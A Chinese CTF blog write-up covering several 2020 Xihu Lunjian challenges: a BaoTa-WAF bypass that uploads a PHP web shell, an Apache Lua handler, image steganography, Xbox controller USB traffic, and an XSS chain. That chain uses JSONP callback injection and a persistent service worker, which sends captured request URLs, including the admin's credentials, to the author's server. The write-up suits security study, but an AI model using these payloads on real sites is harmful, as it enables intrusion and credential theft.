CTF笔记(七)——西湖论剑2020 Web WriteUp

西湖论剑2020 newupload

这道题的一个考点是最新宝塔面板的waf对php文件上传的一个绕过

这里没有做出来,转载别人的wp了2020西湖论剑 baby writeup

方法一

绕waf,写php

POST /sandbox/5oefkr4k741nabj0tp3425stal/index.php HTTP/1.1
Host: newupload.xhlj.wetolink.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------178532495824249355002758713982
Content-Length: 474
Origin: http://newupload.xhlj.wetolink.com
Connection: close
Referer: http://newupload.xhlj.wetolink.com/sandbox/5oefkr4k741nabj0tp3425stal/
Cookie: PHPSESSID=5oefkr4k741nabj0tp3425stal
Upgrade-Insecure-Requests: 1

-----------------------------178532495824249355002758713982
Content-Disposition: form-data; name="file"; filename="111111111.p
h
p"
Content-Type: image/jpeg

一些二进制数据,复制不进来就算了。。。
<?php var_dump($_GET["lala"]($_GET["a"].$_GET["b"].$_GET["c"].$_GET["d"].$_GET["e"].$_GET["f"].$_GET["g"]));phpinfo();

然后是利用fastcgi进行命令执行

方法二 估计是非预期好吧,官方说这才是正解

lua真是个神奇的东西,我不得不服

#.htaccess
AddHandler lua-script .lua
#get.lua
require "string"

function handle(r)
    r.content_type = "text/plain"
    local t = io.popen('/readflag')
    local a = t:read("*all")
    r:puts(a)

    if r.method == 'GET' then
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    else
        r:puts("Unsupported HTTP method " .. r.method)
    end
end

西湖论剑2020 yusa_yyds

首先是webp隐写,我是想到了隐写,但是辣鸡百度是真的辣鸡,以关键词“webp 隐写”啥都搜不到,然而额google了一下第一个blog(记一道webp图片隐写 - L1nearのspace)就给出了答案

pip install stegpy
stegpy encode.webp
the_password_is:Yus@_1s_YYddddsstegpy encode.webp the_key_is:Yus@_yydsstegpy!!

再说一遍,百度是真的辣鸡

然后网页注释里看到

<--! maybe this will be helpful for you
Biometric list is ok!
...后面记不得了,忘记保存了

然后从百度百科找到的 生物识别词汇表(PGP词汇表_百度百科)

#太长了,请base64解码后查看
import base64
open("1.csv","wb").write(base64.b64decode(b"MCwxCjAwLGFhcmR2YXJrCjAxLGFic3VyZAowMixhY2NydWUKMDMsYWNtZQowNCxhZHJpZnQKMDUsYWR1bHQKMDYsYWZmbGljdAowNyxhaGVhZAowOCxhaW1sZXNzCjA5LEFsZ29sCjBBLGFsbG93CjBCLGFsb25lCjBDLGFtbW8KMEQsYW5jaWVudAowRSxhcHBsZQowRixhcnRpc3QKMTAsYXNzdW1lCjExLEF0aGVucwoxMixhdGxhcwoxMyxBenRlYwoxNCxiYWJvb24KMTUsYmFja2ZpZWxkCjE2LGJhY2t3YXJkCjE3LGJhbmpvCjE4LGJlYW1pbmcKMTksYmVkbGFtcAoxQSxiZWVoaXZlCjFCLGJlZXN3YXgKMUMsYmVmcmllbmQKMUQsQmVsZmFzdAoxRSxiZXJzZXJrCjFGLGJpbGxpYXJkCjIwLGJpc29uCjIxLGJsYWNramFjawoyMixibG9ja2FkZQoyMyxibG93dG9yY2gKMjQsYmx1ZWJpcmQKMjUsYm9tYmFzdAoyNixib29rc2hlbGYKMjcsYnJhY2tpc2gKMjgsYnJlYWRsaW5lCjI5LGJyZWFrdXAKMkEsYnJpY2t5YXJkCjJCLGJyaWVmY2FzZQoyQyxCdXJiYW5rCjJELGJ1dHRvbgoyRSxidXp6YXJkCjJGLGNlbWVudAozMCxjaGFpcmxpZnQKMzEsY2hhdHRlcgozMixjaGVja3VwCjMzLGNoaXNlbAozNCxjaG9raW5nCjM1LGNob3BwZXIKMzYsQ2hyaXN0bWFzCjM3LGNsYW1zaGVsbAozOCxjbGFzc2ljCjM5LGNsYXNzcm9vbQozQSxjbGVhbnVwCjNCLGNsb2Nrd29yawozQyxjb2JyYQozRCxjb21tZW5jZQozRSxjb25jZXJ0CjNGLGNvd2JlbGwKNDAsY3JhY2tkb3duCjQxLGNyYW5reQo0Mixjcm93Zm9vdAo0MyxjcnVjaWFsCjQ0LGNydW1wbGVkCjQ1LGNydXNhZGUKNDYsY3ViaWMKNDcsZGFzaGJvYXJkCjQ4LGRlYWRib2x0CjQ5LGRlY2toYW5kCjRBLGRvZ3NsZWQKNEIsZHJhZ25ldAo0QyxkcmFpbmFnZQo0RCxkcmVhZGZ1bAo0RSxkcmlmdGVyCjRGLGRyb3BwZXIKNTAsZHJ1bWJlYXQKNTEsZHJ1bmtlbgo1MixEdXBvbnQKNTMsZHdlbGxpbmcKNTQsZWF0aW5nCjU1LGVkaWN0CjU2LGVnZ2hlYWQKNTcsZWlnaHRiYWxsCjU4LGVuZG9yc2UKNTksZW5kb3cKNUEsZW5saXN0CjVCLGVyYXNlCjVDLGVzY2FwZQo1RCxleGNlZWQKNUUsZXllZ2xhc3MKNUYsZXlldG9vdGgKNjAsZmFjaWFsCjYxLGZhbGxvdXQKNjIsZmxhZ3BvbGUKNjMsZmxhdGZvb3QKNjQsZmx5dHJhcAo2NSxmcmFjdHVyZQo2NixmcmFtZXdvcmsKNjcsZnJlZWRvbQo2OCxmcmlnaHRlbgo2OSxnYXplbGxlCjZBLEdlaWdlcgo2QixnbGl0dGVyCjZDLGdsdWNvc2UKNkQsZ29nZ2xlcwo2RSxnb2xkZmlzaAo2RixncmVtbGluCjcwLGd1aWRhbmNlCjcxLGhhbWxldAo3MixoaWdoY2hhaXIKNzMsaG9ja2V5Cjc0LGluZG9vcnMKNzUsaW5kdWxnZQo3NixpbnZlcnNlCjc3LGludm9sdmUKNzgsaXNsYW5kCjc5LGphd2JvbmUKN0Esa2V5Ym9hcmQKN0Isa2lja29mZgo3QyxraXdpCjdELGtsYXhvbgo3RSxsb2NhbGUKN0YsbG9ja3VwCjgwLG1lcml0CjgxLG1pbm5vdwo4MixtaXNlcgo4MyxNb2hhd2sKODQsbXVyYWwKODUsbXVzaWMKODYsbmVja2xhY2UKODcsTmVwdHVuZQo4OCxuZXdib3JuCjg5LG5pZ2h0YmlyZAo4QSxPYWtsYW5kCjhCLG9idHVzZQo4QyxvZmZsb2FkCjhELG9wdGljCjhFLG9yY2EKOEYscGF5ZGF5CjkwLHBlYWNoeQo5MSxwaGVhc2FudAo5MixwaHlzaXF1ZQo5MyxwbGF5aG91c2UKOTQsUGx1dG8KOTUscHJlY2x1ZGUKOTYscHJlZmVyCjk3LHByZXNocnVuawo5OCxwcmludGVyCjk5LHByb3dsZXIKOUEscHVwaWwKOUIscHVwcHkKOUMscHl0aG9uCjlELHF1YWRyYW50CjlFLHF1aXZlcgo5RixxdW90YQpBMCxyYWd0aW1lCkExLHJhdGNoZXQKQTIscmViaXJ0aApBMyxyZWZvcm0KQTQscmVnYWluCkE1LHJlaW5kZWVyCkE2LHJlbWF0Y2gKQTcscmVwYXkKQTgscmV0b3VjaApBOSxyZXZlbmdlCkFBLHJld2FyZApBQixyaHl0aG0KQUMscmliY2FnZQpBRCxyaW5nYm9sdApBRSxyb2J1c3QKQUYscm9ja2VyCkIwLHJ1ZmZsZWQKQjEsc2FpbGJvYXQKQjIsc2F3ZHVzdApCMyxzY2FsbGlvbgpCNCxzY2VuaWMKQjUsc2NvcmVjYXJkCkI2LFNjb3RsYW5kCkI3LHNlYWJpcmQKQjgsc2VsZWN0CkI5LHNlbnRlbmNlCkJBLHNoYWRvdwpCQixzaGFtcm9jawpCQyxzaG93Z2lybApCRCxza3VsbGNhcApCRSxza3lkaXZlCkJGLHNsaW5nc2hvdApDMCxzbG93ZG93bgpDMSxzbmFwbGluZQpDMixzbmFwc2hvdApDMyxzbm93Y2FwCkM0LHNub3dzbGlkZQpDNSxzb2xvCkM2LHNvdXRod2FyZApDNyxzb3liZWFuCkM4LHNwYW5pZWwKQzksc3BlYXJoZWFkCkNBLHNwZWxsYmluZApDQixzcGhlcm9pZApDQyxzcGlnb3QKQ0Qsc3BpbmRsZQpDRSxzcHlnbGFzcwpDRixzdGFnZWhhbmQKRDAsc3RhZ25hdGUKRDEsc3RhaXJ3YXkKRDIsc3RhbmRhcmQKRDMsc3RhcGxlcgpENCxzdGVhbXNoaXAKRDUsc3RlcmxpbmcKRDYsc3RvY2ttYW4KRDcsc3RvcHdhdGNoCkQ4LHN0b3JteQpEOSxzdWdhcgpEQSxzdXJtb3VudApEQixzdXNwZW5zZQpEQyxzd2VhdGJhbmQKREQsc3dlbHRlcgpERSx0YWN0aWNzCkRGLHRhbG9uCkUwLHRhcGV3b3JtCkUxLHRlbXBlc3QKRTIsdGlnZXIKRTMsdGlzc3VlCkU0LHRvbmljCkU1LHRvcG1vc3QKRTYsdHJhY2tlcgpFNyx0cmFuc2l0CkU4LHRyYXVtYQpFOSx0cmVhZG1pbGwKRUEsVHJvamFuCkVCLHRyb3VibGUKRUMsdHVtb3IKRUQsdHVubmVsCkVFLHR5Y29vbgpFRix1bmN1dApGMCx1bmVhcnRoCkYxLHVud2luZApGMix1cHJvb3QKRjMsdXBzZXQKRjQsdXBzaG90CkY1LHZhcG9yCkY2LHZpbGxhZ2UKRjcsdmlydXMKRjgsVnVsY2FuCkY5LHdhZmZsZQpGQSx3YWxsZXQKRkIsd2F0Y2h3b3JkCkZDLHdheXNpZGUKRkQsd2lsbG93CkZFLHdvb2RsYXJrCkZGLFp1bHU="))

然后写个python脚本跑一下就出来了

提示 查看/hint.rar和/encode.png

然后hint.rar加了密,压缩包注释提示

利用一种较为古老和不常见的工具。USE your google and Baidu

说实话,之前我没有解出webp隐写,然后看到这个提示,一看压缩算法是比较老的rar29,结果想着是rar29有什么古老而特殊的密码破解工具去了。。。

结果这个提示是对解压出来的hint.jpg隐写的。。。

但是这个提示太不准确了啊,invisible Secrets很古老吗????!!!!

不过官方writeup给出的2.1版确实好古老啊。。。

P.S. 密码是Yusa

反正我用新的版本没能成功获得隐写的flag,但是我又找不到这么老的版本无哪里下,可能真的是我的404实用技巧太差了

后来下载到了古老版本,发现其实最新版本是能解码的,算法选择最后一个 blowfish就可以了。。。解码获得encode.py

import os,random
from PIL import Image,ImageDraw

p=Image.open('flag.png').convert('L')
flag = []
a,b = p.size
for x in range(a):
    for y in range(b):
        if p.getpixel((x,y)) == 255:
            flag.append(0)
        else:
            flag.append(1)

key1stream = []
for _ in range(len(flag)):
    key1stream.append(random.randint(0,1))
random.seed(os.urandom(8))
key2stream = []
for _ in range(len(flag)):
    key2stream.append(random.randint(0,1))
enc = []
for i in range(len(flag)):
    enc.append(flag[i]^key1stream[i]^key2stream[i])

hide=Image.open('source.png').convert('RGB')
R=[]
G=[]
B=[]
a,b = hide.size
for x in range(a):
    for y in range(b):
        R.append(bin(hide.getpixel((x,y))[0]).replace('0b','').zfill(8))
        G.append(bin(hide.getpixel((x, y))[1]).replace('0b','').zfill(8))
        B.append(bin(hide.getpixel((x, y))[2]).replace('0b','').zfill(8))
R1=[]
G1=[]
B1=[]
for i in range(len(key1stream)):
    if key1stream[i] == 1:
        R1.append(R[i][:7]+'1')
    else:
        R1.append(R[i][:7]+'0')

for i in range(len(key2stream)):
    if key2stream[i] == 1:
        G1.append(G[i][:7]+'1')
    else:
        G1.append(G[i][:7]+'0')

for i in range(len(enc)):
    if enc[i] == 1:
        B1.append(B[i][:7]+'1')
    else:
        B1.append(B[i][:7]+'0')

for r in range(len(R)):
    R[r] = int(R1[r],2)

for g in range(len(G)):
    G[g] = int(G1[g],2)

for b in range(len(B)):
    B[b] = int(B1[b],2)

a,b = hide.size
en_p = Image.new('RGB',(a,b),(255,255,255))
for x in range(a):
    for y in range(b):
        en_p.putpixel((x,y),(R[y+x*b],G[y+x*b],B[y+x*b]))

en_p.save('encode.png')

据此写一个decode脚本解码encode.png就好了

附 stegpy分析

# lsb.py 读图像文件部分
image = Image.open(filename)
if image.mode != 'RGB':
    image = image.convert('RGB')
host_data = numpy.array(image)
# lsb.py 隐写部分
def encode_message(host_data, message, bits = 2):
    ''' Encodes the byte array in the image numpy array. '''
    shape = host_data.shape
    host_data.shape = -1, # convert to 1D
    uneven = 0
    divisor = 8 // bits

    if(host_data.size % divisor != 0): # Hacky way to deal with pixel arrays that cannot be divided evenly
        uneven = 1
        original_size = host_data.size
        host_data = numpy.resize(host_data, host_data.size + (divisor - host_data.size % divisor))

    msg = numpy.zeros(len(host_data) // divisor, dtype=numpy.uint8)

    msg[:len(message)] = list(message)

    host_data[:divisor*len(message)] &= 256 - 2 ** bits # clear last bit(s)
    for i in range(divisor):
        host_data[i::divisor] |= msg >> bits*i & (2 ** bits - 1) # copy bits to host_data

    operand = (0 if (bits == 1) else (16 if (bits == 2) else 32))
    host_data[0] = (host_data[0] & 207) | operand # 5th and 6th bits = log_2(bits)

    if uneven:
        host_data = numpy.resize(host_data, original_size)

    host_data.shape = shape # restore the 3D shape

    return host_data

可以看出是lsb隐写,默认是最低2有效位覆盖隐写

先测试一下读入数据部分

示例文件:2x2 png位图

1.png

>>> np.array(Image.open(r"C:\users\q1079\desktop\1.png").convert("RGB"))[:]
array([[[255, 174, 201],
        [255, 242,   0]],

       [[153, 217, 234],
        [185, 122,  87]]], dtype=uint8)
>>> list(np.array(Image.open(r"C:\users\q1079\desktop\1.png").convert("RGB")).flat)
[255, 174, 201, 255, 242, 0, 153, 217, 234, 185, 122, 87]
>>> data=np.array(Image.open(r"C:\users\q1079\desktop\1.png").convert("RGB"))
>>> data.shape=-1
>>> data
array([255, 174, 201, 255, 242,   0, 153, 217, 234, 185, 122,  87],
      dtype=uint8)

可以看到展开后的数组是先行后列按像素RGB排列,同一个像素的三原色是在一起的

使用stegsolve、python和dewebp手动提取隐写数据
  1. 先使用dwebp将webp转换为png

  2. 使用stegsolve的data extract按行最低有效位优先RGB顺序导出RGB的最低两位数据(也可以自己写脚本提取)

  3. 然后编写python脚本将导出的每个字节的二进制值倒序即可解密获得原文。

>>>data=open("C:/users/q1079/desktop/rgblsb","rb").read()
>>>decode=""
>>> for i in range(0,100):
...     decode+=chr(int("0b"+bin(data[i])[2:].rjust(8,'0')[::-1],2)
>>> decode
'stegv3\x00\x00\x00N\x00the_password_is:Yus@_1s_YYddddsstegpy encode.webp the_key_is:Yus@_yydsstegpy!!lá±°\x87½ØY\x96e~')

西湖论剑2020 Yusa

题目附件:https://wwe.lanzous.com/iq72Qhe7uad

xbox360 controller的usb流量数据我是发现了的,甚至我拿我的xbox one s controller抓包试着分析了,奈何没有找到类似的数据格式。。。

我也百度和谷歌了好久,但是一无所获,看来我某404的利用姿势可能真的不对

其实google "xbox 360 controller usb data" 第一个网页就是。。。

Understanding the Xbox 360 Wired Controller's USB Data - Parts Not Included

后面没什么好看的了,就是xbox360 controller 震动时的数据包,震动次数依次为 1 1 4 5 1 4 (淦)

https://server.icystal.top/tools/md5.php?md5=114514

md5为c4d038b4bed09fdb1471ef51ec3a32cd

西湖论剑 hardXSS

复现网址:Admin Login

一直在联系站长那里盯着,忽视了login页面,login页面我怎么会忽视呢,实在太不应该了

检查login页面的源码

<script>
        callback = "get_user_login_status";
        auto_reg_var();
        if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
            jump_url = "/";
        }
        jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
            if(result['status']){
                location.href = jump_url;
            }
        })
        function jsonp(url, success) {
            var script = document.createElement("script");
            if(url.indexOf("callback") < 0){
                var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
                url = url + "?" + "callback=" + funName;
            }else{
                var funName = callback;
            }
            window[funName] = function(data) {
                success(data);
                delete window[funName];
                document.body.removeChild(script);
            }
            script.src = url;
            document.body.appendChild(script);
        }
        function auto_reg_var(){
            var search = location.search.slice(1);
            var search_arr = search.split('&');
            for(var i = 0;i < search_arr.length; i++){
                [key,value] = search_arr[i].split("=");
                window[key] = value;
            }
        }

</script>

在这里有一个jsonp跨域调用,正如比赛时公告里的提示,这里应该就是突破口

jsonp 原理解释

出于防范跨站攻击、保护数据安全的考虑,浏览器的安全机制是禁止跨站请求页面的

但是如果是img标签、script标签的src属性中的链接则没有这个限制

只不过img获取的是二进制位图数据,script获取JavaScript脚本

虽然位图数据难以传输html页面,但是JavaScipt脚本的话则有可能通过js变量传递html页面

使用jsonp的src一般的默认格式为domain/page?callback=回调函数名,返回数据为回调函数名(json数据),同时在本地页面有对应的回调函数,负责接收json数据。

通过script标签引用远程服务器的js页面只需content-type为application/javascript即可,并不检查后缀名,因此完全可以利用php、python等根据script的src中携带的参数动态返回需要的数据。

jsonp实现xss

虽然实际实现是动态的,仿佛本地页面从远程服务器动态获取数据,但是在浏览器看来不过是引用了远端的js,并且本地执行了js代码,不过恰好这个远端的js代码调用了本地的一个js函数,并且传入了一组数据。因此既使远端返回的并非回调函数名(json数据)这种格式的js代码,浏览器依旧会忠实地执行。例如

https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=alert(1)//

于是返回的js就变成了(在没有过滤的前提下)

alert(1)//({...})

(*/ω\*)只要我们能够控制callback参数的值就能够实现XSS

login页面js脚本中定义的auto_reg_var函数能够根据我们传入login页面的参数进行变量覆盖,并且在js脚本的第二行执行了这个函数。我们注意到jsonp请求url中的回调函数名是由callback变量控制的,我们正好可以利用auto_reg_var改写callback变量的值,例如

https://xss.hardxss.xhlj.wetolink.com/login?callback=alert(1)//
service workder实现XSS持续化

接下去需要利用一项名为 service worker的浏览器新技术,通过这项技术可以为同域名网站设置js脚本在本地处理请求,本意是在断网时也能够访问网站并且提供一定的功能。因此,目标用户点击攻击者精心构造的链接访问具有XSS漏洞的页面后,XSS代码能够在用户访问的域名下加载js脚本注册service worker实现对同域名网站下所有页面的长期劫持

因为在联系站长页面有如下提示

嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!

hash = md5(vcode)
console.log('验证码:'+hash.substr(0,5))

验证码:9edce

点击send有提示

need url like https://xss.hardxss.xhlj.wetolink.com/ and need verify code

所以我们希望能够在https://xss.hardxss.xhlj.wetolink.com/login页面劫持https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=&adminpwd=链接,并且将劫持后的链接中的用户名和密码传回来

编写劫持用的service worker脚本sw.js

self.addEventListener('fetch', function(event) { 
    fetch("https://server.icystal.top/xxx?xxx="+btoa(event.request.url));
})

sw.js脚本没必要像别的wp那样复杂,在监听事件里对于任何链接都编码发送给自己服务器就完事了

iframe实现service worker跨域注册

但是浏览器限制js只能用与当前页面同源的js注册,注册的自然也是作用于当前域的service worker,如果用子域、父域或者其他域的js注册会弹出错误,例如下面这样

Uncaught (in promise) DOMException: Failed to register a ServiceWorker: The origin of the provided scriptURL ('https://auth.xss.eec5b2.challenge.gcsis.cn') does not match the current origin ('https://xss.hardxss.xhlj.wetolink.com').
(匿名) @ VM113:1

比赛公告里给出的ifame的提示能够解决这个问题,也就是在当前页面用js动态创建一个iframe,让ifame的src指向需要注册service worker的域。

var iframe = document.createElement("iframe");
iframe.src="https:///auth.hardxss.xhlj.wetolink.com";
$('body').append(iframe);

然后再向iframe里动态加载一段js来注册service worker。

doc=iframe.contentDocument;
src=doc.createElement("script");
src.innerText="navigator.serviceWorker.register(\""+url+"\")";//注册sw
doc.body.append(src);
//存在问题,待解决
iframe.contentWindow.eval("navigator.serviceWorker.register(\""+url+"\")");//与上面那四行效果相同

这里url指向要注册的js脚本,必须是auth.xss.域的链接,但是我们写的脚本是放在自己的服务器上的。不过serviceworker的注册(register)函数会执行返回的js脚本,并且在serviceworker中可以用importScripts函数引用远程任意站点的js脚本,利用https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=这个jsonpAPI构造如下url

https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=importScripts("//server.icystal.top/sw.js")//

该url返回js脚本

importScripts('//server.icystal.top/sw.js')//({"status":false})

就能愉快地被serviceworker执行,并将我们编写的劫持用脚本sw.js注册进serviceworker了。

document.domain 实现控制跨域iframe中的DOM元素

但是在向iframe中动态添加js的时候遇到了如下的问题

VM1199:2 Uncaught TypeError: Cannot read property 'createElement' of null

这是为什么呢?

我们知道window.document可以代替document,调用iframe.contentWindow.document可以看到如下报错

Uncaught DOMException: Blocked a frame with origin "https://xss.hardxss.xhlj.wetolink.com" from accessing a cross-origin frame.

主页面的域为xss.hardxss.,而iframe里的域应该为auth.hardxss.,如果主页面操作iframe里的元素,那么就产生了跨域操作html,这是会被浏览器同源策略阻止的。

但是!!!直接访问https://auth.hardxss.xhlj.wetolink.com可以看到源码中的提示

document.domain = "hardxss.xhlj.wetolink.com";

浏览器对于html页面是否跨域是通过document.domain来判断的(如果有document.domain的话,没有定义则使用url),因此实际上https://auth.hardxss.xhlj.wetolink.com页面在浏览器判断跨域时是hardxss.域的

因此我们可以通过document.domain="hardxss.xhlj.wetolink.com";让浏览器认为父页面和iframe里auth.hardxss.的子页面都是在域hardxss.下的。

document.domain="hardxss.xhlj.wetolink.com";
var iframe = document.createElement("iframe");
iframe.src="https://auth.hardxss.xhlj.wetolink.com";
$('body').append(iframe);
iframe.onload=function(){ //必须等待载入完成,不然域还是在xss.hardxss.下
doc=iframe.contentDocument;
src=doc.createElement("script");
src.innerText=`navigator.serviceWorker.register("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=importScripts('//server.icystal.top/tools/sw.js')//")`;//注册sw
doc.body.append(src);
}

但是https:///auth.hardxss.xhlj.wetolink.com的document.domain='hardxss.xhlj.wetolink.com'会影响在该页面下注册的service worker吗,这样测得service worker是在auth.hardxss域下的,还是hardxss域下的呢?

就让我们来测试一下

验证攻击

利用XSS漏洞加载注册serviceworker的js脚本

因为service worker只能注册同源的脚本

访问

https://xss.hardxss.xhlj.wetolink.com/login?callback=document.domain="hardxss.xhlj.wetolink.com";var iframe = document.createElement("iframe");iframe.src="https://auth.hardxss.xhlj.wetolink.com";$('body').append(iframe);iframe.onload=function(){doc=iframe.contentDocument;src=doc.createElement("script");src.innerText=`navigator.serviceWorker.register("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=importScripts('//server.icystal.top/sw.js')//")`;doc.body.append(src);}//

报错

Uncaught TypeError: document.domain is not a function

发现返回的是

document.domain({"status":false})

这里是因为auto_reg_var进行变量覆盖的时候=号后面的内容会被截断丢掉,所以document.domain=后面的内容都没有了,不过可以base64编码一下解决这个问题

https://xss.hardxss.xhlj.wetolink.com/login?callback=atob('ZG9jdW1lbnQuZG9tYWluPSJoYXJkeHNzLnhobGoud2V0b2xpbmsuY29tIjt2YXIgaWZyYW1lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7aWZyYW1lLnNyYz0iaHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20iOyQoJ2JvZHknKS5hcHBlbmQoaWZyYW1lKTtpZnJhbWUub25sb2FkPWZ1bmN0aW9uKCl7ZG9jPWlmcmFtZS5jb250ZW50RG9jdW1lbnQ7c3JjPWRvYy5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtzcmMuaW5uZXJUZXh0PWBuYXZpZ2F0b3Iuc2VydmljZVdvcmtlci5yZWdpc3RlcigiaHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20vYXBpL2xvZ2luU3RhdHVzP2NhbGxiYWNrPWltcG9ydFNjcmlwdHMoJy8vc2VydmVyLmljeXN0YWwudG9wL3N3LmpzJykvLyIpYDtkb2MuYm9keS5hcHBlbmQoc3JjKTt9')

报错

Uncaught SyntaxError: Invalid or unexpected token

返回数据为

atob('ZG9jdW1lbnQuZG9tYWluPSJoYXJkeHNzLnhobGoud2V0({"status":false})

可以推测出callback传参不能超过50bytes,由于js脚本太大了不能直接传过去执行,这里有两个办法

一个是利用auto_reg_var的变量覆盖,将js脚本通过另外一个变量(比如lala)传过去,callback返回的脚本调用另外那个变量执行,比如

https://xss.hardxss.xhlj.wetolink.com/login?callback=eval(atob(lala))//&lala=ZG9jdW1lbnQuZG9tYWluPSJoYXJkeHNzLnhobGoud2V0b2xpbmsuY29tIjt2YXIgaWZyYW1lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7aWZyYW1lLnNyYz0iaHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20iOyQoJ2JvZHknKS5hcHBlbmQoaWZyYW1lKTtpZnJhbWUub25sb2FkPWZ1bmN0aW9uKCl7ZG9jPWlmcmFtZS5jb250ZW50RG9jdW1lbnQ7c3JjPWRvYy5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtzcmMuaW5uZXJUZXh0PWBuYXZpZ2F0b3Iuc2VydmljZVdvcmtlci5yZWdpc3RlcigiaHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20vYXBpL2xvZ2luU3RhdHVzP2NhbGxiYWNrPWltcG9ydFNjcmlwdHMoJy8vc2VydmVyLmljeXN0YWwudG9wL3N3LmpzJykvLyIpYDtkb2MuYm9keS5hcHBlbmQoc3JjKTt9

另外一个是将原来callback参数里的代码存在远程js里(比如xxx/in.js),用ajax来获取并执行

https://xss.hardxss.xhlj.wetolink.com/login?callback=$.get('//xxx/in.js',function(d){eval(d)})//

这个要注意的就是因为只有50个字符长度,需要短网址,但同时要保留.js后缀名不然会被浏览器同源策略认为是跨站请求htm页面给拦截了(喂喂喂,我这是js啊,虽然没有.js后缀)

访问构造后的链接发现

已经成功注册了service worker。可见是在auth.hardxss域下的,service worker的同源策略不受document.domain的影响。

提交payload获取flag

python爆破md5

>>> def trymd5(code):
...     for i in range(1000000):
...             if(code in hashlib.md5(bytes("%s"%i,encoding="utf-8")).hexdigest()[:5]):
...                     print(i)
...
>>> trymd5("8f8d9")
66285

提交验证码和上一节构造的url(不知为何base64编码的那个url不起作用,但在本地测试是可行的),显示success,查看服务器http请求日志获得base编码后的用户名和密码,用用户名密码登录即可获得flag

aHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20vYXBpL2xvZ2luVmVyaWZ5P2FkbWlubmFtZT1hZG1pbiZhZG1pbnB3ZD1wYXNzd2RfZWU1MGFlNDE3ZjIwODcwNDk3ZjNkNzNiNDFmYTE0Y2M=

一个意外的收获
  1. 在 chrome浏览器中,使用jQuery动态填加的iframe中的重定向会被浏览器拦截,而用原生javascript添加的ifame中的重定向会导致整个页面跳转
标签:, , , , , , , ,

不说点什么喵?

14 − 8 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据